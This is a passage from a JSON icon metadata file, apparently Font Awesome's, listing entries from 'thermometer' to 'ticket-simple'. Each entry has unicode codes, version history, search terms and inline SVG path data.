        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M208 88.286c0-10 6.286-21.714 17.715-21.714 11.142 0 17.714 11.714 17.714 21.714 0 10.285-6.572 21.714-17.714 21.714C214.286 110 208 98.571 208 88.286zm304 160c0 36.001-11.429 102.286-36.286 129.714-22.858 24.858-87.428 61.143-120.857 70.572l-1.143.286v32.571c0 16.286-12.572 30.571-29.143 30.571-10 0-19.429-5.714-24.572-14.286-5.427 8.572-14.856 14.286-24.856 14.286-10 0-19.429-5.714-24.858-14.286-5.142 8.572-14.571 14.286-24.57 14.286-10.286 0-19.429-5.714-24.858-14.286-5.143 8.572-14.571 14.286-24.571 14.286-18.857 0-29.429-15.714-29.429-32.857-16.286 12.285-35.715 19.428-56.571 19.428-22 0-43.429-8.285-60.286-22.857 10.285-.286 20.571-2.286 30.285-5.714-20.857-5.714-39.428-18.857-52-36.286 21.37 4.645 46.209 1.673 67.143-11.143-22-22-56.571-58.857-68.572-87.428C1.143 321.714 0 303.714 0 289.429c0-49.714 20.286-160 86.286-160 10.571 0 18.857 4.858 23.143 14.857a158.792 158.792 0 0 1 12-15.428c2-2.572 5.714-5.429 7.143-8.286 7.999-12.571 11.714-21.142 21.714-34C182.571 45.428 232 17.143 285.143 17.143c6 0 12 .285 17.714 1.143C313.714 6.571 328.857 0 344.572 0c14.571 0 29.714 6 40 16.286.857.858 1.428 2.286 1.428 3.428 0 3.714-10.285 13.429-12.857 16.286 4.286 1.429 15.714 6.858 15.714 12 0 2.857-2.857 5.143-4.571 7.143 31.429 27.714 49.429 67.143 56.286 108 4.286-5.143 10.285-8.572 17.143-8.572 10.571 0 20.857 7.144 28.571 14.001C507.143 187.143 512 221.714 512 248.286zM188 89.428c0 18.286 12.571 37.143 32.286 37.143 19.714 0 32.285-18.857 32.285-37.143 0-18-12.571-36.857-32.285-36.857-19.715 0-32.286 18.858-32.286 36.857zM237.714 194c0-19.714 3.714-39.143 8.571-58.286-52.039 79.534-13.531 184.571 68.858 184.571 21.428 0 42.571-7.714 60-20 2-7.429 3.714-14.857 3.714-22.572 0-14.286-6.286-21.428-20.572-21.428-4.571 0-9.143.857-13.429 1.714-63.343 12.668-107.142 3.669-107.142-63.999zm-41.142 254.858c0-11.143-8.858-20.857-20.286-20.857-11.429 0-20 9.715-20 20.857v32.571c0 11.143 8.571 21.142 20 21.142 11.428 0 20.286-9.715 20.286-21.142v-32.571zm49.143 0c0-11.143-8.572-20.857-20-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20-10 20-21.142v-32.571zm49.713 0c0-11.143-8.857-20.857-20.285-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20.285-9.715 20.285-21.142v-32.571zm49.715 0c0-11.143-8.857-20.857-20.286-20.857-11.428 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.858 21.142 20.286 21.142 11.429 0 20.286-10 20.286-21.142v-32.571zM421.714 286c-30.857 59.142-90.285 102.572-158.571 102.572-96.571 0-160.571-84.572-160.571-176.572 0-16.857 2-33.429 6-49.714-20 33.715-29.714 72.572-29.714 111.429 0 60.286 24.857 121.715 71.429 160.857 5.143-9.714 14.857-16.286 26-16.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.571-14.286 24.858-14.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.857-14.286 24.858-14.286 10 0 19.428 5.714 24.857 14.286 5.143-8.571 14.571-14.286 24.572-14.286 10.857 0 20.857 6.572 25.714 16 43.427-36.286 68.569-92 71.426-148.286zm10.572-99.714c0-53.714-34.571-105.714-92.572-105.714-30.285 0-58.571 15.143-78.857 36.857C240.862 183.812 233.41 254 302.286 254c28.805 0 97.357-28.538 84.286 36.857 28.857-26 45.714-65.714 45.714-104.571z"
      }
    },
    "free": ["brands"]
  },
  "thermometer": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f491"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["covid-19", "mercury", "status", "temperature"]
    },
    "styles": ["solid"],
    "unicode": "f491",
    "label": "Thermometer",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 382.1V293.3c0-14.9 5.9-29.1 16.4-39.6l27.3-27.3 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57 41.4-41.4 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57 41.4-41.4 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57 45.5-45.5C355.2 10.9 381.4 0 408.8 0C465.8 0 512 46.2 512 103.2c0 27.4-10.9 53.6-30.2 73L258.3 399.6c-10.5 10.5-24.7 16.4-39.6 16.4H129.9L41 505c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l89-89z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 382.1V293.3c0-14.9 5.9-29.1 16.4-39.6l27.3-27.3 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57 41.4-41.4 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57 41.4-41.4 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57 45.5-45.5C355.2 10.9 381.4 0 408.8 0C465.8 0 512 46.2 512 103.2c0 27.4-10.9 53.6-30.2 73L258.3 399.6c-10.5 10.5-24.7 16.4-39.6 16.4H129.9L41 505c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l89-89z"
      }
    },
    "free": ["solid"]
  },
  "think-peaks": {
    "changes": ["5.4.2", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f731",
    "label": "Think Peaks",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M465.4 409.4l87.1-150.2-32-.3-55.1 95L259.2 0 23 407.4l32 .3L259.2 55.6zm-355.3-44.1h32.1l117.4-202.5L463 511.9l32.5.1-235.8-404.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M465.4 409.4l87.1-150.2-32-.3-55.1 95L259.2 0 23 407.4l32 .3L259.2 55.6zm-355.3-44.1h32.1l117.4-202.5L463 511.9l32.5.1-235.8-404.6z"
      }
    },
    "free": ["brands"]
  },
  "threads": {
    "changes": ["6.4.1", "6.4.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e618",
    "label": "Threads",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1690904784,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M331.5 235.7c2.2 .9 4.2 1.9 6.3 2.8c29.2 14.1 50.6 35.2 61.8 61.4c15.7 36.5 17.2 95.8-30.3 143.2c-36.2 36.2-80.3 52.5-142.6 53h-.3c-70.2-.5-124.1-24.1-160.4-70.2c-32.3-41-48.9-98.1-49.5-169.6V256v-.2C17 184.3 33.6 127.2 65.9 86.2C102.2 40.1 156.2 16.5 226.4 16h.3c70.3 .5 124.9 24 162.3 69.9c18.4 22.7 32 50 40.6 81.7l-40.4 10.8c-7.1-25.8-17.8-47.8-32.2-65.4c-29.2-35.8-73-54.2-130.5-54.6c-57 .5-100.1 18.8-128.2 54.4C72.1 146.1 58.5 194.3 58 256c.5 61.7 14.1 109.9 40.3 143.3c28 35.6 71.2 53.9 128.2 54.4c51.4-.4 85.4-12.6 113.7-40.9c32.3-32.2 31.7-71.8 21.4-95.9c-6.1-14.2-17.1-26-31.9-34.9c-3.7 26.9-11.8 48.3-24.7 64.8c-17.1 21.8-41.4 33.6-72.7 35.3c-23.6 1.3-46.3-4.4-63.9-16c-20.8-13.8-33-34.8-34.3-59.3c-2.5-48.3 35.7-83 95.2-86.4c21.1-1.2 40.9-.3 59.2 2.8c-2.4-14.8-7.3-26.6-14.6-35.2c-10-11.7-25.6-17.7-46.2-17.8H227c-16.6 0-39 4.6-53.3 26.3l-34.4-23.6c19.2-29.1 50.3-45.1 87.8-45.1h.8c62.6 .4 99.9 39.5 103.7 107.7l-.2 .2zm-156 68.8c1.3 25.1 28.4 36.8 54.6 35.3c25.6-1.4 54.6-11.4 59.5-73.2c-13.2-2.9-27.8-4.4-43.4-4.4c-4.8 0-9.6 .1-14.4 .4c-42.9 2.4-57.2 23.2-56.2 41.8l-.1 .1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M331.5 235.7c2.2 .9 4.2 1.9 6.3 2.8c29.2 14.1 50.6 35.2 61.8 61.4c15.7 36.5 17.2 95.8-30.3 143.2c-36.2 36.2-80.3 52.5-142.6 53h-.3c-70.2-.5-124.1-24.1-160.4-70.2c-32.3-41-48.9-98.1-49.5-169.6V256v-.2C17 184.3 33.6 127.2 65.9 86.2C102.2 40.1 156.2 16.5 226.4 16h.3c70.3 .5 124.9 24 162.3 69.9c18.4 22.7 32 50 40.6 81.7l-40.4 10.8c-7.1-25.8-17.8-47.8-32.2-65.4c-29.2-35.8-73-54.2-130.5-54.6c-57 .5-100.1 18.8-128.2 54.4C72.1 146.1 58.5 194.3 58 256c.5 61.7 14.1 109.9 40.3 143.3c28 35.6 71.2 53.9 128.2 54.4c51.4-.4 85.4-12.6 113.7-40.9c32.3-32.2 31.7-71.8 21.4-95.9c-6.1-14.2-17.1-26-31.9-34.9c-3.7 26.9-11.8 48.3-24.7 64.8c-17.1 21.8-41.4 33.6-72.7 35.3c-23.6 1.3-46.3-4.4-63.9-16c-20.8-13.8-33-34.8-34.3-59.3c-2.5-48.3 35.7-83 95.2-86.4c21.1-1.2 40.9-.3 59.2 2.8c-2.4-14.8-7.3-26.6-14.6-35.2c-10-11.7-25.6-17.7-46.2-17.8H227c-16.6 0-39 4.6-53.3 26.3l-34.4-23.6c19.2-29.1 50.3-45.1 87.8-45.1h.8c62.6 .4 99.9 39.5 103.7 107.7l-.2 .2zm-156 68.8c1.3 25.1 28.4 36.8 54.6 35.3c25.6-1.4 54.6-11.4 59.5-73.2c-13.2-2.9-27.8-4.4-43.4-4.4c-4.8 0-9.6 .1-14.4 .4c-42.9 2.4-57.2 23.2-56.2 41.8l-.1 .1z"
      }
    },
    "free": ["brands"]
  },
  "thumbs-down": {
    "aliases": {
      "unicodes": {
        "composite": ["1f44e", "f088"],
        "secondary": ["10f165"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "-1",
        "disagree",
        "disapprove",
        "dislike",
        "down",
        "hand",
        "social",
        "thumb",
        "thumbs down",
        "thumbs-o-down"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f165",
    "label": "Thumbs Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M313.4 479.1c26-5.2 42.9-30.5 37.7-56.5l-2.3-11.4c-5.3-26.7-15.1-52.1-28.8-75.2H464c26.5 0 48-21.5 48-48c0-18.5-10.5-34.6-25.9-42.6C497 236.6 504 223.1 504 208c0-23.4-16.8-42.9-38.9-47.1c4.4-7.3 6.9-15.8 6.9-24.9c0-21.3-13.9-39.4-33.1-45.6c.7-3.3 1.1-6.8 1.1-10.4c0-26.5-21.5-48-48-48H294.5c-19 0-37.5 5.6-53.3 16.1L202.7 73.8C176 91.6 160 121.6 160 153.7V192v48 24.9c0 29.2 13.3 56.7 36 75l7.4 5.9c26.5 21.2 44.6 51 51.2 84.2l2.3 11.4c5.2 26 30.5 42.9 56.5 37.7zM32 384H96c17.7 0 32-14.3 32-32V128c0-17.7-14.3-32-32-32H32C14.3 96 0 110.3 0 128V352c0 17.7 14.3 32 32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M313.4 479.1c26-5.2 42.9-30.5 37.7-56.5l-2.3-11.4c-5.3-26.7-15.1-52.1-28.8-75.2H464c26.5 0 48-21.5 48-48c0-18.5-10.5-34.6-25.9-42.6C497 236.6 504 223.1 504 208c0-23.4-16.8-42.9-38.9-47.1c4.4-7.3 6.9-15.8 6.9-24.9c0-21.3-13.9-39.4-33.1-45.6c.7-3.3 1.1-6.8 1.1-10.4c0-26.5-21.5-48-48-48H294.5c-19 0-37.5 5.6-53.3 16.1L202.7 73.8C176 91.6 160 121.6 160 153.7V192v48 24.9c0 29.2 13.3 56.7 36 75l7.4 5.9c26.5 21.2 44.6 51 51.2 84.2l2.3 11.4c5.2 26 30.5 42.9 56.5 37.7zM32 384H96c17.7 0 32-14.3 32-32V128c0-17.7-14.3-32-32-32H32C14.3 96 0 110.3 0 128V352c0 17.7 14.3 32 32 32z"
      },
      "regular": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M323.8 477.2c-38.2 10.9-78.1-11.2-89-49.4l-5.7-20c-3.7-13-10.4-25-19.5-35l-51.3-56.4c-8.9-9.8-8.2-25 1.6-33.9s25-8.2 33.9 1.6l51.3 56.4c14.1 15.5 24.4 34 30.1 54.1l5.7 20c3.6 12.7 16.9 20.1 29.7 16.5s20.1-16.9 16.5-29.7l-5.7-20c-5.7-19.9-14.7-38.7-26.6-55.5c-5.2-7.3-5.8-16.9-1.7-24.9s12.3-13 21.3-13L448 288c8.8 0 16-7.2 16-16c0-6.8-4.3-12.7-10.4-15c-7.4-2.8-13-9-14.9-16.7s.1-15.8 5.3-21.7c2.5-2.8 4-6.5 4-10.6c0-7.8-5.6-14.3-13-15.7c-8.2-1.6-15.1-7.3-18-15.2s-1.6-16.7 3.6-23.3c2.1-2.7 3.4-6.1 3.4-9.9c0-6.7-4.2-12.6-10.2-14.9c-11.5-4.5-17.7-16.9-14.4-28.8c.4-1.3 .6-2.8 .6-4.3c0-8.8-7.2-16-16-16H286.5c-12.6 0-25 3.7-35.5 10.7l-61.7 41.1c-11 7.4-25.9 4.4-33.3-6.7s-4.4-25.9 6.7-33.3l61.7-41.1c18.4-12.3 40-18.8 62.1-18.8H384c34.7 0 62.9 27.6 64 62c14.6 11.7 24 29.7 24 50c0 4.5-.5 8.8-1.3 13c15.4 11.7 25.3 30.2 25.3 51c0 6.5-1 12.8-2.8 18.7C504.8 238.3 512 254.3 512 272c0 35.3-28.6 64-64 64l-92.3 0c4.7 10.4 8.7 21.2 11.8 32.2l5.7 20c10.9 38.2-11.2 78.1-49.4 89zM32 384c-17.7 0-32-14.3-32-32V128c0-17.7 14.3-32 32-32H96c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M323.8 477.2c-38.2 10.9-78.1-11.2-89-49.4l-5.7-20c-3.7-13-10.4-25-19.5-35l-51.3-56.4c-8.9-9.8-8.2-25 1.6-33.9s25-8.2 33.9 1.6l51.3 56.4c14.1 15.5 24.4 34 30.1 54.1l5.7 20c3.6 12.7 16.9 20.1 29.7 16.5s20.1-16.9 16.5-29.7l-5.7-20c-5.7-19.9-14.7-38.7-26.6-55.5c-5.2-7.3-5.8-16.9-1.7-24.9s12.3-13 21.3-13L448 288c8.8 0 16-7.2 16-16c0-6.8-4.3-12.7-10.4-15c-7.4-2.8-13-9-14.9-16.7s.1-15.8 5.3-21.7c2.5-2.8 4-6.5 4-10.6c0-7.8-5.6-14.3-13-15.7c-8.2-1.6-15.1-7.3-18-15.2s-1.6-16.7 3.6-23.3c2.1-2.7 3.4-6.1 3.4-9.9c0-6.7-4.2-12.6-10.2-14.9c-11.5-4.5-17.7-16.9-14.4-28.8c.4-1.3 .6-2.8 .6-4.3c0-8.8-7.2-16-16-16H286.5c-12.6 0-25 3.7-35.5 10.7l-61.7 41.1c-11 7.4-25.9 4.4-33.3-6.7s-4.4-25.9 6.7-33.3l61.7-41.1c18.4-12.3 40-18.8 62.1-18.8H384c34.7 0 62.9 27.6 64 62c14.6 11.7 24 29.7 24 50c0 4.5-.5 8.8-1.3 13c15.4 11.7 25.3 30.2 25.3 51c0 6.5-1 12.8-2.8 18.7C504.8 238.3 512 254.3 512 272c0 35.3-28.6 64-64 64l-92.3 0c4.7 10.4 8.7 21.2 11.8 32.2l5.7 20c10.9 38.2-11.2 78.1-49.4 89zM32 384c-17.7 0-32-14.3-32-32V128c0-17.7 14.3-32 32-32H96c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H32z"
      }
    },
    "free": ["regular", "solid"]
  },
  "thumbs-up": {
    "aliases": {
      "unicodes": {
        "composite": ["1f44d", "f087"],
        "secondary": ["10f164"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "+1",
        "agree",
        "approve",
        "favorite",
        "hand",
        "like",
        "ok",
        "okay",
        "social",
        "success",
        "thumb",
        "thumbs up",
        "thumbs-o-up",
        "up",
        "yes",
        "you got it dude"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f164",
    "label": "Thumbs Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M313.4 32.9c26 5.2 42.9 30.5 37.7 56.5l-2.3 11.4c-5.3 26.7-15.1 52.1-28.8 75.2H464c26.5 0 48 21.5 48 48c0 18.5-10.5 34.6-25.9 42.6C497 275.4 504 288.9 504 304c0 23.4-16.8 42.9-38.9 47.1c4.4 7.3 6.9 15.8 6.9 24.9c0 21.3-13.9 39.4-33.1 45.6c.7 3.3 1.1 6.8 1.1 10.4c0 26.5-21.5 48-48 48H294.5c-19 0-37.5-5.6-53.3-16.1l-38.5-25.7C176 420.4 160 390.4 160 358.3V320 272 247.1c0-29.2 13.3-56.7 36-75l7.4-5.9c26.5-21.2 44.6-51 51.2-84.2l2.3-11.4c5.2-26 30.5-42.9 56.5-37.7zM32 192H96c17.7 0 32 14.3 32 32V448c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V224c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M313.4 32.9c26 5.2 42.9 30.5 37.7 56.5l-2.3 11.4c-5.3 26.7-15.1 52.1-28.8 75.2H464c26.5 0 48 21.5 48 48c0 18.5-10.5 34.6-25.9 42.6C497 275.4 504 288.9 504 304c0 23.4-16.8 42.9-38.9 47.1c4.4 7.3 6.9 15.8 6.9 24.9c0 21.3-13.9 39.4-33.1 45.6c.7 3.3 1.1 6.8 1.1 10.4c0 26.5-21.5 48-48 48H294.5c-19 0-37.5-5.6-53.3-16.1l-38.5-25.7C176 420.4 160 390.4 160 358.3V320 272 247.1c0-29.2 13.3-56.7 36-75l7.4-5.9c26.5-21.2 44.6-51 51.2-84.2l2.3-11.4c5.2-26 30.5-42.9 56.5-37.7zM32 192H96c17.7 0 32 14.3 32 32V448c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V224c0-17.7 14.3-32 32-32z"
      },
      "regular": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M323.8 34.8c-38.2-10.9-78.1 11.2-89 49.4l-5.7 20c-3.7 13-10.4 25-19.5 35l-51.3 56.4c-8.9 9.8-8.2 25 1.6 33.9s25 8.2 33.9-1.6l51.3-56.4c14.1-15.5 24.4-34 30.1-54.1l5.7-20c3.6-12.7 16.9-20.1 29.7-16.5s20.1 16.9 16.5 29.7l-5.7 20c-5.7 19.9-14.7 38.7-26.6 55.5c-5.2 7.3-5.8 16.9-1.7 24.9s12.3 13 21.3 13L448 224c8.8 0 16 7.2 16 16c0 6.8-4.3 12.7-10.4 15c-7.4 2.8-13 9-14.9 16.7s.1 15.8 5.3 21.7c2.5 2.8 4 6.5 4 10.6c0 7.8-5.6 14.3-13 15.7c-8.2 1.6-15.1 7.3-18 15.1s-1.6 16.7 3.6 23.3c2.1 2.7 3.4 6.1 3.4 9.9c0 6.7-4.2 12.6-10.2 14.9c-11.5 4.5-17.7 16.9-14.4 28.8c.4 1.3 .6 2.8 .6 4.3c0 8.8-7.2 16-16 16H286.5c-12.6 0-25-3.7-35.5-10.7l-61.7-41.1c-11-7.4-25.9-4.4-33.3 6.7s-4.4 25.9 6.7 33.3l61.7 41.1c18.4 12.3 40 18.8 62.1 18.8H384c34.7 0 62.9-27.6 64-62c14.6-11.7 24-29.7 24-50c0-4.5-.5-8.8-1.3-13c15.4-11.7 25.3-30.2 25.3-51c0-6.5-1-12.8-2.8-18.7C504.8 273.7 512 257.7 512 240c0-35.3-28.6-64-64-64l-92.3 0c4.7-10.4 8.7-21.2 11.8-32.2l5.7-20c10.9-38.2-11.2-78.1-49.4-89zM32 192c-17.7 0-32 14.3-32 32V448c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32H32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M323.8 34.8c-38.2-10.9-78.1 11.2-89 49.4l-5.7 20c-3.7 13-10.4 25-19.5 35l-51.3 56.4c-8.9 9.8-8.2 25 1.6 33.9s25 8.2 33.9-1.6l51.3-56.4c14.1-15.5 24.4-34 30.1-54.1l5.7-20c3.6-12.7 16.9-20.1 29.7-16.5s20.1 16.9 16.5 29.7l-5.7 20c-5.7 19.9-14.7 38.7-26.6 55.5c-5.2 7.3-5.8 16.9-1.7 24.9s12.3 13 21.3 13L448 224c8.8 0 16 7.2 16 16c0 6.8-4.3 12.7-10.4 15c-7.4 2.8-13 9-14.9 16.7s.1 15.8 5.3 21.7c2.5 2.8 4 6.5 4 10.6c0 7.8-5.6 14.3-13 15.7c-8.2 1.6-15.1 7.3-18 15.1s-1.6 16.7 3.6 23.3c2.1 2.7 3.4 6.1 3.4 9.9c0 6.7-4.2 12.6-10.2 14.9c-11.5 4.5-17.7 16.9-14.4 28.8c.4 1.3 .6 2.8 .6 4.3c0 8.8-7.2 16-16 16H286.5c-12.6 0-25-3.7-35.5-10.7l-61.7-41.1c-11-7.4-25.9-4.4-33.3 6.7s-4.4 25.9 6.7 33.3l61.7 41.1c18.4 12.3 40 18.8 62.1 18.8H384c34.7 0 62.9-27.6 64-62c14.6-11.7 24-29.7 24-50c0-4.5-.5-8.8-1.3-13c15.4-11.7 25.3-30.2 25.3-51c0-6.5-1-12.8-2.8-18.7C504.8 273.7 512 257.7 512 240c0-35.3-28.6-64-64-64l-92.3 0c4.7-10.4 8.7-21.2 11.8-32.2l5.7-20c10.9-38.2-11.2-78.1-49.4-89zM32 192c-17.7 0-32 14.3-32 32V448c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32H32z"
      }
    },
    "free": ["regular", "solid"]
  },
  "thumbtack": {
    "aliases": {
      "names": ["thumb-tack"],
      "unicodes": {
        "composite": ["1f4cc", "1f588"],
        "secondary": ["10f08d"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Pushpin",
        "coordinates",
        "location",
        "marker",
        "pin",
        "pushpin",
        "thumb-tack"
      ]
    },
    "styles": ["solid"],
    "unicode": "f08d",
    "label": "Thumbtack",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 32C32 14.3 46.3 0 64 0H320c17.7 0 32 14.3 32 32s-14.3 32-32 32H290.5l11.4 148.2c36.7 19.9 65.7 53.2 79.5 94.7l1 3c3.3 9.8 1.6 20.5-4.4 28.8s-15.7 13.3-26 13.3H32c-10.3 0-19.9-4.9-26-13.3s-7.7-19.1-4.4-28.8l1-3c13.8-41.5 42.8-74.8 79.5-94.7L93.5 64H64C46.3 64 32 49.7 32 32zM160 384h64v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 32C32 14.3 46.3 0 64 0H320c17.7 0 32 14.3 32 32s-14.3 32-32 32H290.5l11.4 148.2c36.7 19.9 65.7 53.2 79.5 94.7l1 3c3.3 9.8 1.6 20.5-4.4 28.8s-15.7 13.3-26 13.3H32c-10.3 0-19.9-4.9-26-13.3s-7.7-19.1-4.4-28.8l1-3c13.8-41.5 42.8-74.8 79.5-94.7L93.5 64H64C46.3 64 32 49.7 32 32zM160 384h64v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384z"
      }
    },
    "free": ["solid"]
  },
  "ticket": {
    "aliases": {
      "unicodes": {
        "composite": ["1f39f"],
        "secondary": ["10f145"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "admission",
        "admission tickets",
        "movie",
        "pass",
        "support",
        "ticket"
      ]
    },
    "styles": ["solid"],
    "unicode": "f145",
    "label": "Ticket",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 64C28.7 64 0 92.7 0 128v64c0 8.8 7.4 15.7 15.7 18.6C34.5 217.1 48 235 48 256s-13.5 38.9-32.3 45.4C7.4 304.3 0 311.2 0 320v64c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V320c0-8.8-7.4-15.7-15.7-18.6C541.5 294.9 528 277 528 256s13.5-38.9 32.3-45.4c8.3-2.9 15.7-9.8 15.7-18.6V128c0-35.3-28.7-64-64-64H64zm64 112l0 160c0 8.8 7.2 16 16 16H432c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H144c-8.8 0-16 7.2-16 16zM96 160c0-17.7 14.3-32 32-32H448c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32V160z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 64C28.7 64 0 92.7 0 128v64c0 8.8 7.4 15.7 15.7 18.6C34.5 217.1 48 235 48 256s-13.5 38.9-32.3 45.4C7.4 304.3 0 311.2 0 320v64c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V320c0-8.8-7.4-15.7-15.7-18.6C541.5 294.9 528 277 528 256s13.5-38.9 32.3-45.4c8.3-2.9 15.7-9.8 15.7-18.6V128c0-35.3-28.7-64-64-64H64zm64 112l0 160c0 8.8 7.2 16 16 16H432c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H144c-8.8 0-16 7.2-16 16zM96 160c0-17.7 14.3-32 32-32H448c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32V160z"
      }
    },
    "free": ["solid"]
  },
  "ticket-simple": {
    "aliases": {
      "names": ["ticket-alt"],
      "unicodes": {
        "secondary": ["10f3ff"]
      }
    },
    "changes": [
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["movie", "pass", "support", "ticket"]
    },
    "styles": ["solid"],
    "unicode": "f3ff",
    "label": "Ticket Simple",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 128C0 92.7 28.7 64 64 64H512c35.3 0 64 28.7 64 64v64c0 8.8-7.4 15.7-15.7 18.6C541.5 217.1 528 235 528 256s13.5 38.9 32.3 45.4c8.3 2.9 15.7 9.8 15.7 18.6v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V320c0-8.8 7.4-15.7 15.7-18.6C34.5 294.9 48 277 48 256s-13.5-38.9-32.3-45.4C7.4 207.7 0 200.8 0 192V128z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 128C0 92.7 28.7 64 64 64H512c35.3 0 64 28.7 64 64v64c0 8.8-7.4 15.7-15.7 18.6C541.5 217.1 528 235 528 256s13.5 38.9 32.3 45.4c8.3 2.9 15.7 9.8 15.7 18.6v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V320c0-8.8 7.4-15.7 15.7-18.6C34.5 294.9 48 277 48 256s-13.5-38.9-32.3-45.4C7.4 207.7 0 200.8 0 192V128z"
      }
    },
